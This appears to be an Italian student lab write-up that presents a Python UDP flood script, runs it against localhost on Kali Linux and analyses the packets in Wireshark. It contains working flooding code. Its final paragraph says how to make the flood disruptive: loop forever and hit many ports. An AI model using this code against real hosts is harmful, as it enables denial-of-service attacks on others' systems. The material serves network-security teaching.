

```
~/Documents/EserciziPY/udp_flood.py - Mousepad
File Edit Search View Document Help
[Icons]

1 import socket
2 import random
3
4 s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
5 packet = random.randbytes(1024)
6 ip = input('Indirizzo IP target: ')
7 port = int(input('Porta target: '))
8 n = int(input('Quante volte vuoi inviare il pacchetto? '))
9 sent = 0
10 try:
11     for i in range(n):
12         s.sendto(packet, (ip, port))
13         sent += 1
14     print ("Pacchetto inviato")
15     print ("Inviati {} pacchetti all'indirizzo IP {} alla porta {}".format(sent, ip, port))
16 except:
17     print("Errore durante l'invio del pacchetto UDP")
18 finally:
19     s.close()
20
21
```

Questo è il codice per eseguire l'**udp flood**.

Si noti come **socket.socket** crea un nuovo socket (nel nostro caso chiamato **s**) inserendo dei parametri; il primo **AF\_INET** specifica che vogliamo un socket che utilizzi IPv4, il secondo **SOCK\_DGRAM** specifica che vogliamo una connessione **UDP**.

Il pacchetto da 1024 bytes (1 KB) viene generato randomicamente; l'utente inserirà in input l'indirizzo IP target, la porta target e il numero di volte che si vuole inviare il pacchetto. Tante volte quante il numero specificato (**try** con un ciclo **for**) tale pacchetto verrà inviato all'IP e porta specificati con **sendto** applicato sull'oggetto socket **s** creato precedentemente, stampando dei messaggi che indicano il successo nell'invio di un pacchetto volta per volta e il numero totale di pacchetti inviati alla fine.

In caso di errori l'**except** stamperà un messaggio di errore; infine (**finally**) il socket verrà chiuso.

A seguire il risultato dell'esecuzione del codice su macchina virtuale Kali Linux; utilizziamo come indirizzo IP target quello dell'host locale (**local host, 127.0.0.1**) inviando i pacchetti a noi stessi per verificare il corretto funzionamento del programma.

```
kali@kali: ~/Documents/EserciziPY
File Actions Edit View Help
(kali@kali)-[~/Documents/EserciziPY]
$ python udp_flood.py
Indirizzo IP target: 127.0.0.1
Porta target: 5678
Quante volte vuoi inviare il pacchetto? 5
Pacchetto inviato
Pacchetto inviato
Pacchetto inviato
Pacchetto inviato
Pacchetto inviato
Inviati 5 pacchetti all'indirizzo IP 127.0.0.1 alla porta 5678

(kali@kali)-[~/Documents/EserciziPY]
$
```

captured (8528 bits) on interface lo, id 0  
..., Dst: Xerox\_00:00:00 (00:00:00:00:00:00)  
7.0.0.1  
5678

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0010 04 1c ff 71 40 00 40 11 39 50 7f 00 00 00 00  
0020 00 01 df c0 16 2e 04 08 02 1c d6 00 00 00 00  
0030 46 d6 e2 ed 1f 21 09 cd 46 16 00 00 00 00 00  
0040 fd cd a1 2c ba f7 05 a1 fa fa de 00 00 00 00  
0050 37 8d 65 7c a7 56 35 01 ff 08 fa 00 00 00 00  
0060 7e 94 6b 82 1e c2 81 0f a9 04 d9 00 00 00 00  
0070 81 35 5b 95 0c 7e 07 91 68 e9 d5 00 00 00 00  
0080 33 7e 05 de d9 f6 3b 90 6a 4f b4 00 00 00 00  
0090 00 35 31 7b 03 6f 5d 08 27 37 67 00 00 00 00  
00a0 5a c9 9c fa 07 17 34 78 0f 66 a8 00 00 00 00  
00b0 83 be 04 b2 14 9d 88 1f 39 79 2a 00 00 00 00  
00c0 f1 7c 7a e0 0a 95 22 25 ae 4f 4e 00 00 00 00  
00d0 04 19 9d d7 aa ac fa 90 a0 28 1a 00 00 00 00  
00e0 00 b0 de 2a f0 c4 06 0f c8 2c 51 00 00 00 00  
00f0 8f 0c 6f 26 e9 b7 9c 1b 1a eb ad 00 00 00 00  
0100 95 fb f9 cf ac 95 e3 81 fe 59 26 00 00 00 00  
0110 42 5f fa eb c8 48 40 7f 90 57 d4 00 00 00 00  
0120 28 5b 85 4b 11 7f fa 63 c0 d2 01 00 00 00 00

Apply a display filter ... <Ctrl-/>						
No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	127.0.0.1	127.0.0.1	UDP	1066	57280 → 5678 Len=1024
2	0.00018477	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
3	0.000207747	127.0.0.1	127.0.0.1	UDP	1066	57280 → 5678 Len=1024
4	0.000216629	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
5	0.000261218	127.0.0.1	127.0.0.1	UDP	1066	57280 → 5678 Len=1024
6	0.000267751	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
7	0.000302092	127.0.0.1	127.0.0.1	UDP	1066	57280 → 5678 Len=1024
8	0.000308176	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)
9	0.000341216	127.0.0.1	127.0.0.1	UDP	1066	57280 → 5678 Len=1024
10	0.000347181	127.0.0.1	127.0.0.1	ICMP	590	Destination unreachable (Port unreachable)

Frame 1: 1066 bytes on wire (8528 bits), 1066 bytes captured (8528 bits) on interface lo, id 0  
Ethernet II, Src: Xerox\_00:00:00 (00:00:00:00:00:00), Dst: Xerox\_00:00:00 (00:00:00:00:00:00)  
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1  
User Datagram Protocol, Src Port: 57280, Dst Port: 5678  
Data (1024 bytes)

0000 00 00 00 00  
0010 04 1c ff 71  
0020 00 01 df c0  
0030 46 d6 e2 ed  
0040 fd cd a1 2c  
0050 37 8d 65 7c  
0060 7e 94 6b 82  
0070 81 35 5b 95  
0080 33 7e 05 de

Infine avviamo **wireshark** sull'interfaccia di **loopback** (local host) per analizzare il flusso di pacchetti inviati. Ci sono 5 pacchetti *UDP* (come inserito in input nel programma python), a ognuno dei quali corrisponde l'invio di un messaggio *ICMP* di 590 bytes poiché stiamo inviando dei pacchetti verso una porta di destinazione dove non c'è nessun applicativo in ascolto; in particolare *l'Internet Control Message Protocol (ICMP)* è un protocollo di servizio per reti a pacchetto che si occupa di trasmettere informazioni riguardanti malfunzionamenti, informazioni di controllo o messaggi tra i vari componenti di una rete di calcolatori). Il contenuto (**payload**) del pacchetto è effettivamente 1024 bytes, ma vediamo che la dimensione totale di ogni pacchetto è di 1066 bytes perché vengono aggiunti i vari **headers**. Osserviamo che wireshark ci indica l'IP sorgente e l'IP destinazione (in questo caso gli stessi, ossia l'indirizzo del local host 127.0.0.1), il tipo di protocollo, la porta di arrivo (5678, come inserito in input nel programma python) e la porta di invio (57280, automaticamente assegnata dal sistema) insieme alla dimensione totale e del payload per ogni pacchetto inviato. In basso è possibile trovare maggiori dettagli sui singoli pacchetti, analizzando varie informazioni sui diversi livelli del protocollo *ISO/OSI* incapsulati nel pacchetto (per esempio si possono leggere le dimensioni degli headers dei protocolli *IP* di rete e *UDP* di trasporto).

Qualche considerazione finale sul codice. Il pacchetto viene inviato un numero limitato di volte e solo su una specifica porta per scopi didattici, mentre se si volessero davvero causare problemi con il **flood** potremmo inserire un ciclo **while** sempre vero che continua l'invio dei pacchetti all'infinito finché non fermato, inviando inoltre i pacchetti contemporaneamente ad un numero maggiore di porte sovraccaricando enormemente la macchina target.